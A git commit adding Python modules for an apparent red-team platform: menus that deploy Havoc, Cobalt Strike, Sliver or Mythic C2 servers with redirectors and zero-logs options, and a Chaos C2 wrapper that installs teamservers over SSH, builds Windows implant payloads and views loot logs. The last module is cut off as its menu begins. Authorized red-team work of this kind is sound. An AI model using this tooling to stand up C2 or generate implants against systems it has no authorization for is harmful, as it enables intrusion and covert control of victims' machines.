Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
@@ -0,0 +1,316 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
C2 infrastructure deployment module
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||
archive_old_logs
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
from utils.naming_utils import get_deployment_name_with_options
|
||||
|
||||
def gather_c2_parameters():
|
||||
"""Collect parameters specific to C2 deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}========================{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# C2-specific configuration
|
||||
print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}")
|
||||
|
||||
# Domain configuration
|
||||
domain = input(f"Domain for C2 infrastructure [required]: ")
|
||||
if not domain:
|
||||
print(f"{COLORS['RED']}A domain is required for C2 deployments{COLORS['RESET']}")
|
||||
return None
|
||||
config['domain'] = domain
|
||||
|
||||
# Subdomain configuration
|
||||
config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail"
|
||||
|
||||
# Instance naming options
|
||||
config['redirector_name'] = get_deployment_name_with_options(
|
||||
deployment_type='redirector',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='r-'
|
||||
)
|
||||
|
||||
config['c2_name'] = get_deployment_name_with_options(
|
||||
deployment_type='c2',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='s-'
|
||||
)
|
||||
|
||||
# C2 Framework selection
|
||||
print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}")
|
||||
print(f"1) Havoc")
|
||||
print(f"2) Cobalt Strike")
|
||||
print(f"3) Sliver")
|
||||
print(f"4) Mythic")
|
||||
print(f"5) Custom")
|
||||
|
||||
framework_choice = input("Select C2 framework [default: 1]: ") or "1"
|
||||
frameworks = {
|
||||
"1": "havoc",
|
||||
"2": "cobaltstrike",
|
||||
"3": "sliver",
|
||||
"4": "mythic",
|
||||
"5": "custom"
|
||||
}
|
||||
config['c2_framework'] = frameworks.get(framework_choice, "havoc")
|
||||
|
||||
# Email for Let's Encrypt
|
||||
default_email = f"admin@{config['domain']}"
|
||||
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||
|
||||
# Get operator IP for security
|
||||
suggested_ip = get_public_ip()
|
||||
if suggested_ip:
|
||||
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||
else:
|
||||
operator_ip = input("Your public IP for secure access: ")
|
||||
config['operator_ip'] = operator_ip
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||
if not ssh_key_path:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||
|
||||
# SMTP Configuration for email services
|
||||
print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}")
|
||||
config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin"
|
||||
|
||||
import secrets
|
||||
import string
|
||||
def generate_random_password(length=16):
|
||||
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
|
||||
password = ''.join(secrets.choice(alphabet) for _ in range(length))
|
||||
return password
|
||||
|
||||
default_password = generate_random_password()
|
||||
smtp_password = input(f"SMTP authentication password [default: random generated]: ")
|
||||
config['smtp_auth_pass'] = smtp_password if smtp_password else default_password
|
||||
|
||||
print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}")
|
||||
print(f" Username: {config['smtp_auth_user']}")
|
||||
print(f" Password: {config['smtp_auth_pass']}")
|
||||
print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}")
|
||||
|
||||
# Security Configuration
|
||||
print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}")
|
||||
zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower()
|
||||
config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n'
|
||||
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
|
||||
return config
|
||||
|
||||
def c2_menu():
|
||||
"""Display the C2 submenu and handle user selection"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
|
||||
print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}")
|
||||
print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}")
|
||||
print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}")
|
||||
print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}")
|
||||
print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}")
|
||||
print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}")
|
||||
print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_c2_only()
|
||||
elif choice == "2":
|
||||
deploy_havoc_c2()
|
||||
elif choice == "3":
|
||||
deploy_sliver_c2()
|
||||
elif choice == "4":
|
||||
deploy_cobaltstrike_c2()
|
||||
elif choice == "5":
|
||||
deploy_mythic_c2()
|
||||
elif choice == "6":
|
||||
deploy_c2_with_redirector()
|
||||
elif choice == "7":
|
||||
deploy_full_c2()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_c2_only():
|
||||
"""Deploy C2 server only"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'c2_only'
|
||||
config['c2_only'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_c2_with_redirector():
|
||||
"""Deploy C2 server with redirector"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional redirector configuration
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
config['deployment_type'] = 'c2_with_redirector'
|
||||
config['deploy_redirector'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_full_c2():
|
||||
"""Deploy full C2 infrastructure"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional configuration for full deployment
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
config['deployment_type'] = 'full_c2'
|
||||
config['deploy_redirector'] = True
|
||||
config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_havoc_c2():
|
||||
"""Deploy Havoc C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'havoc'
|
||||
config['deployment_type'] = 'havoc_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_cobaltstrike_c2():
|
||||
"""Deploy Cobalt Strike server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'cobaltstrike'
|
||||
config['deployment_type'] = 'cobaltstrike_c2'
|
||||
|
||||
# Cobalt Strike specific configuration
|
||||
license_path = input("Path to Cobalt Strike license file [optional]: ")
|
||||
if license_path:
|
||||
config['cobaltstrike_license'] = license_path
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_sliver_c2():
|
||||
"""Deploy Sliver C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'sliver'
|
||||
config['deployment_type'] = 'sliver_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_mythic_c2():
|
||||
"""Deploy Mythic C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'mythic'
|
||||
config['deployment_type'] = 'mythic_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def execute_c2_deployment(config):
|
||||
"""Execute C2 infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}")
|
||||
|
||||
# Archive old logs before starting new deployment
|
||||
print(f"Archiving old logs...")
|
||||
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
|
||||
|
||||
# Set up logging
|
||||
log_file = setup_logging(config['deployment_id'], "c2_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"C2 Framework: {config['c2_framework']}")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Execute the actual deployment using the deployment engine
|
||||
from utils.deployment_engine import deploy_infrastructure
|
||||
success = deploy_infrastructure(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
if __name__ == "__main__":
|
||||
c2_menu()
|
||||
@@ -0,0 +1,447 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Chaos C2 — c2itall integration module
|
||||
Deploy and manage the Chaos C2 framework (Havoc fork) locally or on a remote host.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import glob
|
||||
|
||||
# Add parent paths for imports
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
|
||||
|
||||
# ─── Path Registry ────────────────────────────────────────────────────────────
|
||||
|
||||
CHAOS_PATH = os.path.expanduser('~/tools/chaos')
|
||||
INSTALL_SH = os.path.join(CHAOS_PATH, 'Install.sh')
|
||||
TEAMSERVER = os.path.join(CHAOS_PATH, 'teamserver')
|
||||
DATA_DIR = os.path.join(CHAOS_PATH, 'data')
|
||||
LOGS_DIR = os.path.join(DATA_DIR, 'logs')
|
||||
WS_PATH_FILE = os.path.join(DATA_DIR, '.ws_path')
|
||||
PROFILES_DIR = os.path.join(CHAOS_PATH, 'profiles')
|
||||
|
||||
|
||||
# ─── SSH helpers ──────────────────────────────────────────────────────────────
|
||||
|
||||
def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False):
|
||||
"""Build an SSH command list."""
|
||||
cmd = ['ssh']
|
||||
if ssh_key:
|
||||
cmd.extend(['-i', ssh_key])
|
||||
cmd.extend(['-p', str(ssh_port)])
|
||||
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
|
||||
cmd.extend([
|
||||
'-o', 'StrictHostKeyChecking=accept-new',
|
||||
'-o', f'UserKnownHostsFile={known_hosts}',
|
||||
'-o', 'IdentitiesOnly=yes',
|
||||
])
|
||||
if interactive:
|
||||
cmd.append('-t')
|
||||
cmd.append(f'{ssh_user}@{host}')
|
||||
if command:
|
||||
cmd.append(command)
|
||||
return cmd
|
||||
|
||||
|
||||
def _build_scp_cmd(ssh_port, ssh_key=None):
|
||||
"""Build base SCP command with consistent SSH options."""
|
||||
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
|
||||
cmd = [
|
||||
'scp',
|
||||
'-P', str(ssh_port),
|
||||
'-o', 'StrictHostKeyChecking=accept-new',
|
||||
'-o', f'UserKnownHostsFile={known_hosts}',
|
||||
]
|
||||
if ssh_key:
|
||||
cmd.extend(['-i', ssh_key])
|
||||
return cmd
|
||||
|
||||
|
||||
# ─── Remote target prompt ─────────────────────────────────────────────────────
|
||||
|
||||
def _prompt_remote_target():
|
||||
"""Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel."""
|
||||
print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}============={COLORS['RESET']}")
|
||||
|
||||
host = input(f" Remote host (IP or hostname): ").strip()
|
||||
if not host:
|
||||
print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}")
|
||||
return None, None, None, None
|
||||
|
||||
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root'
|
||||
ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22'
|
||||
try:
|
||||
ssh_port = int(ssh_port_raw)
|
||||
except ValueError:
|
||||
ssh_port = 22
|
||||
|
||||
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
|
||||
return host, ssh_user, ssh_port, ssh_key
|
||||
|
||||
|
||||
# ─── Profile selection ────────────────────────────────────────────────────────
|
||||
|
||||
def _select_profile(label="Select profile"):
|
||||
"""List available profiles and let the user choose one. Returns path or None."""
|
||||
profiles = []
|
||||
if os.path.isdir(PROFILES_DIR):
|
||||
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
|
||||
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
|
||||
profiles.sort()
|
||||
|
||||
if not profiles:
|
||||
print(f" {COLORS['YELLOW']}No profiles found in {PROFILES_DIR}{COLORS['RESET']}")
|
||||
manual = input(f" Enter profile path manually (blank to cancel): ").strip()
|
||||
return manual or None
|
||||
|
||||
print(f"\n {COLORS['CYAN']}{label}:{COLORS['RESET']}")
|
||||
for i, p in enumerate(profiles, 1):
|
||||
print(f" {i}) {os.path.basename(p)}")
|
||||
|
||||
raw = input(f"\n Select [1]: ").strip() or '1'
|
||||
try:
|
||||
idx = int(raw) - 1
|
||||
if 0 <= idx < len(profiles):
|
||||
return profiles[idx]
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
print(f" {COLORS['YELLOW']}Invalid selection — using first profile{COLORS['RESET']}")
|
||||
return profiles[0]
|
||||
|
||||
|
||||
# ─── Local actions ────────────────────────────────────────────────────────────
|
||||
|
||||
def _deploy_local():
|
||||
"""Run Install.sh locally after a pre-flight check."""
|
||||
if not os.path.exists(INSTALL_SH):
|
||||
print(f"\n{COLORS['RED']}Install.sh not found at {INSTALL_SH}{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Clone the Chaos repo to ~/tools/chaos first{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Running pre-flight check (Install.sh --check)...{COLORS['RESET']}")
|
||||
check_result = subprocess.run(
|
||||
['bash', INSTALL_SH, '--check'],
|
||||
cwd=CHAOS_PATH,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
if check_result.stdout:
|
||||
print(check_result.stdout)
|
||||
if check_result.stderr:
|
||||
print(check_result.stderr)
|
||||
|
||||
if check_result.returncode != 0:
|
||||
print(f"{COLORS['YELLOW']}Pre-flight check reported issues (rc={check_result.returncode}) — continue anyway? (y/N): {COLORS['RESET']}", end='')
|
||||
if input().strip().lower() != 'y':
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Installing Chaos C2 locally...{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Note: script may require sudo — you may be prompted for your password.{COLORS['RESET']}\n")
|
||||
try:
|
||||
subprocess.run(['bash', INSTALL_SH], cwd=CHAOS_PATH)
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _deploy_remote():
|
||||
"""SCP the chaos repo to a remote host and run Install.sh over SSH."""
|
||||
if not os.path.isdir(CHAOS_PATH):
|
||||
print(f"\n{COLORS['RED']}Chaos source not found at {CHAOS_PATH}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
host, ssh_user, ssh_port, ssh_key = _prompt_remote_target()
|
||||
if not host:
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
remote_staging = '/tmp/chaos-deploy'
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Creating remote staging directory on {ssh_user}@{host}...{COLORS['RESET']}")
|
||||
mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
|
||||
f'rm -rf {remote_staging} && mkdir -p {remote_staging}')
|
||||
result = subprocess.run(mkdir_cmd, capture_output=True, text=True)
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"{COLORS['CYAN']}Copying Chaos to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}")
|
||||
scp_cmd = _build_scp_cmd(ssh_port, ssh_key)
|
||||
scp_cmd.extend(['-r', CHAOS_PATH + '/'])
|
||||
scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/')
|
||||
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Running Install.sh on {host}...{COLORS['RESET']}")
|
||||
install_cmd_str = f'cd {remote_staging} && bash Install.sh'
|
||||
ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
|
||||
install_cmd_str, interactive=True)
|
||||
try:
|
||||
subprocess.run(ssh_install)
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _start_teamserver():
|
||||
"""Start the Chaos teamserver with a selected profile."""
|
||||
if not os.path.exists(TEAMSERVER):
|
||||
print(f"\n{COLORS['RED']}teamserver binary not found at {TEAMSERVER}{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Run 'Deploy Chaos (local)' first to build it{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
profile = _select_profile("Select listener profile")
|
||||
if not profile:
|
||||
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Starting Chaos teamserver with profile: {os.path.basename(profile)}{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}Press Ctrl+C to stop{COLORS['RESET']}\n")
|
||||
try:
|
||||
subprocess.run([TEAMSERVER, '-p', profile], cwd=CHAOS_PATH)
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n{COLORS['YELLOW']}Teamserver stopped by user{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _stop_teamserver():
|
||||
"""Find and kill the teamserver process."""
|
||||
print(f"\n{COLORS['CYAN']}Looking for running teamserver process...{COLORS['RESET']}")
|
||||
result = subprocess.run(
|
||||
['pgrep', '-f', 'teamserver'],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
pids = result.stdout.strip().splitlines()
|
||||
|
||||
if not pids:
|
||||
print(f"{COLORS['YELLOW']}No teamserver process found{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f" Found PID(s): {', '.join(pids)}")
|
||||
confirm = input(f" {COLORS['YELLOW']}Kill these processes? (y/N): {COLORS['RESET']}").strip().lower()
|
||||
if confirm != 'y':
|
||||
print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
for pid in pids:
|
||||
kill_result = subprocess.run(['kill', pid], capture_output=True, text=True)
|
||||
if kill_result.returncode == 0:
|
||||
print(f" {COLORS['GREEN']}Killed PID {pid}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f" {COLORS['RED']}Failed to kill PID {pid}: {kill_result.stderr.strip()}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _show_status():
|
||||
"""Check if teamserver is running, show WS path and active profile."""
|
||||
print(f"\n{COLORS['CYAN']}Chaos C2 Status{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}==============={COLORS['RESET']}")
|
||||
|
||||
# Check for running process
|
||||
result = subprocess.run(['pgrep', '-a', '-f', 'teamserver'], capture_output=True, text=True)
|
||||
if result.stdout.strip():
|
||||
print(f" Teamserver: {COLORS['GREEN']}RUNNING{COLORS['RESET']}")
|
||||
for line in result.stdout.strip().splitlines():
|
||||
print(f" {COLORS['GRAY']}{line}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f" Teamserver: {COLORS['RED']}NOT RUNNING{COLORS['RESET']}")
|
||||
|
||||
# Show WS path
|
||||
if os.path.exists(WS_PATH_FILE):
|
||||
with open(WS_PATH_FILE) as f:
|
||||
ws_path = f.read().strip()
|
||||
print(f" WS Path: {COLORS['CYAN']}{ws_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f" WS Path: {COLORS['GRAY']}(not set){COLORS['RESET']}")
|
||||
|
||||
# Show install dir
|
||||
if os.path.isdir(CHAOS_PATH):
|
||||
print(f" Install: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f" Install: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
|
||||
|
||||
# Show available profiles
|
||||
if os.path.isdir(PROFILES_DIR):
|
||||
profiles = []
|
||||
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
|
||||
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
|
||||
if profiles:
|
||||
print(f" Profiles:")
|
||||
for p in sorted(profiles):
|
||||
print(f" {COLORS['GRAY']}{os.path.basename(p)}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f" Profiles: {COLORS['YELLOW']}none found in {PROFILES_DIR}{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _generate_payload():
|
||||
"""Interactive payload generation: listener profile, arch, format, output path."""
|
||||
if not os.path.exists(TEAMSERVER):
|
||||
print(f"\n{COLORS['RED']}teamserver not found — build Chaos first{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Payload Generation{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}=================={COLORS['RESET']}")
|
||||
|
||||
profile = _select_profile("Select listener profile for payload")
|
||||
if not profile:
|
||||
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n Architecture:")
|
||||
print(f" 1) x86_64 (64-bit)")
|
||||
print(f" 2) x86 (32-bit)")
|
||||
arch_choice = input(f" Select [1]: ").strip() or '1'
|
||||
arch = 'x86_64' if arch_choice != '2' else 'x86'
|
||||
|
||||
print(f"\n Format:")
|
||||
print(f" 1) exe (Windows executable)")
|
||||
print(f" 2) dll (Windows DLL)")
|
||||
print(f" 3) bin (raw shellcode)")
|
||||
fmt_choice = input(f" Select [1]: ").strip() or '1'
|
||||
fmt_map = {'1': 'exe', '2': 'dll', '3': 'bin'}
|
||||
fmt = fmt_map.get(fmt_choice, 'exe')
|
||||
|
||||
default_out = os.path.join(CHAOS_PATH, 'payloads', f'payload_{arch}.{fmt}')
|
||||
out_path = input(f"\n Output path [{COLORS['CYAN']}{default_out}{COLORS['RESET']}]: ").strip() or default_out
|
||||
|
||||
os.makedirs(os.path.dirname(out_path), exist_ok=True)
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Generating payload...{COLORS['RESET']}")
|
||||
cmd = [TEAMSERVER, 'generate', '--profile', profile,
|
||||
'--arch', arch, '--format', fmt, '--output', out_path]
|
||||
try:
|
||||
result = subprocess.run(cmd, cwd=CHAOS_PATH, capture_output=True, text=True)
|
||||
if result.stdout:
|
||||
print(result.stdout)
|
||||
if result.stderr:
|
||||
print(result.stderr)
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}Payload written to: {out_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['RED']}Payload generation failed (rc={result.returncode}){COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Note: 'generate' subcommand may differ in your build — check teamserver --help{COLORS['RESET']}")
|
||||
except FileNotFoundError:
|
||||
print(f"{COLORS['RED']}teamserver binary not executable — did the build complete?{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _view_loot():
|
||||
"""Tail structured JSON logs from data/logs/."""
|
||||
if not os.path.isdir(LOGS_DIR):
|
||||
print(f"\n{COLORS['YELLOW']}Logs directory not found: {LOGS_DIR}{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}Logs will appear here after the teamserver has been started{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
log_files = sorted(glob.glob(os.path.join(LOGS_DIR, '*.json')) +
|
||||
glob.glob(os.path.join(LOGS_DIR, '*.log')))
|
||||
|
||||
if not log_files:
|
||||
print(f"\n{COLORS['YELLOW']}No log files found in {LOGS_DIR}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
return
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Available log files:{COLORS['RESET']}")
|
||||
for i, lf in enumerate(log_files, 1):
|
||||
size = os.path.getsize(lf)
|
||||
print(f" {i}) {os.path.basename(lf)} ({size} bytes)")
|
||||
|
||||
raw = input(f"\n Select log to tail [1]: ").strip() or '1'
|
||||
try:
|
||||
idx = int(raw) - 1
|
||||
if 0 <= idx < len(log_files):
|
||||
chosen = log_files[idx]
|
||||
else:
|
||||
chosen = log_files[0]
|
||||
except ValueError:
|
||||
chosen = log_files[0]
|
||||
|
||||
lines_raw = input(f" Lines to show [{COLORS['CYAN']}50{COLORS['RESET']}]: ").strip() or '50'
|
||||
try:
|
||||
lines = int(lines_raw)
|
||||
except ValueError:
|
||||
lines = 50
|
||||
|
||||
print(f"\n{COLORS['CYAN']}--- {os.path.basename(chosen)} (last {lines} lines) ---{COLORS['RESET']}\n")
|
||||
try:
|
||||
result = subprocess.run(['tail', '-n', str(lines), chosen],
|
||||
capture_output=True, text=True)
|
||||
print(result.stdout)
|
||||
except Exception as e:
|
||||
print(f"{COLORS['RED']}Error reading log: {e}{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
# ─── Main menu ────────────────────────────────────────────────────────────────
|
||||
|
||||
def chaos_menu():
|
||||
